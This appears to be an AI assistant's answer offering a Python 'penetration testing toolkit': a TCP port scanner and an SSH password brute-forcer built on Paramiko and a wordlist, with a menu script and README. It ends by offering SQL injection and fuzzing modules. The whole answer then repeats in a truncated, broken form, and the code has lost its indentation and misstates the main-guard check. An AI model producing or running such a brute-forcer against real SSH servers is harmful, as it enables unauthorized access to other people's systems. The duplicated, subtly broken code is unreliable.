Python-based modular Penetration Testing Toolkit that includes:
A Port Scanner
A Brute Forcer (basic for SSH using Paramiko)
Modular code structure
CLI interface
Comments for documentation
📁 File Structure (Recommended)
pen_test_toolkit/
│
├── main.py
├── port_scanner.py
├── brute_forcer.py
└── README.md
🔹 main.py
from port_scanner import run_port_scanner
from brute_forcer import run_brute_forcer
def main():
print("\n== Penetration Testing Toolkit ==")
print("1. Port Scanner")
print("2. Brute Forcer")
choice = input("Choose a module (1/2): ")
if choice == '1':
target = input("Enter target IP or domain: ")
run_port_scanner(target)
elif choice == '2':
host = input("Enter SSH host: ")
username = input("Enter SSH username: ")
wordlist = input("Enter path to password wordlist: ")
run_brute_forcer(host, username, wordlist)
else:
print("Invalid choice.")
if name == "main":
main()
🔹 port_scanner.py
import socket
def run_port_scanner(target):
print(f"Scanning ports on {target}...")
open_ports = []
for port in range(1, 1025):
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(0.5)
result = s.connect_ex((target, port))
if result == 0:
open_ports.append(port)
print(f"[+] Port {port} is open")
except Exception as e:
print(f"[-] Error on port {port}: {e}")
if not open_ports:
print("No open ports found.")
🔹 brute_forcer.py
import paramiko
def run_brute_forcer(host, username, wordlist_path):
print(f"Starting brute-force on {host} with username '{username}'...")
try:
with open(wordlist_path, 'r') as file:
passwords = file.readlines()
for pwd in passwords:
password = pwd.strip()
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, username=username, password=password, timeout=3)
print(f"[+] Password found: {password}")
ssh.close()
return
except paramiko.AuthenticationException:
print(f"[-] Incorrect: {password}")
except Exception as e:
print(f"[-] Error: {e}")
except FileNotFoundError:
print("Wordlist file not found.")
📄 README.md (Documentation)
Penetration Testing Toolkit
Modules
- Port Scanner: Scans top 1024 ports of a target IP/domain.
- Brute Forcer: Attempts SSH brute-force using a wordlist.
Usage
$ python main.py
Requirements
Python 3.x
paramiko for SSH brute-force
pip install paramiko
---
Would you like to add more modules (like SQL Injection tester, Directory Fuzzer, etc.) or want this as a zip project file?
Python-based modular Penetration Testing Toolkit that includes:
A Port Scanner
A Brute Forcer (basic for SSH using Paramiko)
Modular code structure
CLI interface
Comments for documentation
📁 File Structure (Recommended)
pen_test_toolkit/
│
├── main.py
├── port_scanner.py
├── brute_forcer.py
└── README.md
🔹 main.py
from port_scanner import run_port_scanner
from brute_forcer import run_brute_forcer
def main():
print("\n== Penetration Testing Toolkit ==")
print("1. Port Scanner")
print("2. Brute Forcer")
choice = input("Choose a module (1/2): ")
if name == "main":
main()
🔹 port_scanner.py
import socket
def run_port_scanner(target):
print(f"Scanning ports on {target}...")
open_ports = []
🔹 brute_forcer.py
import paramiko
def run_brute_forcer(host, username, wordlist_path):
print(f"Starting brute-force on {host} with username '{username}'...")
try:
with open(wordlist_path, 'r') as file:
passwords = file.readlines()
📄 README.md (Documentation)
Penetration Testing Toolkit
Modules
Usage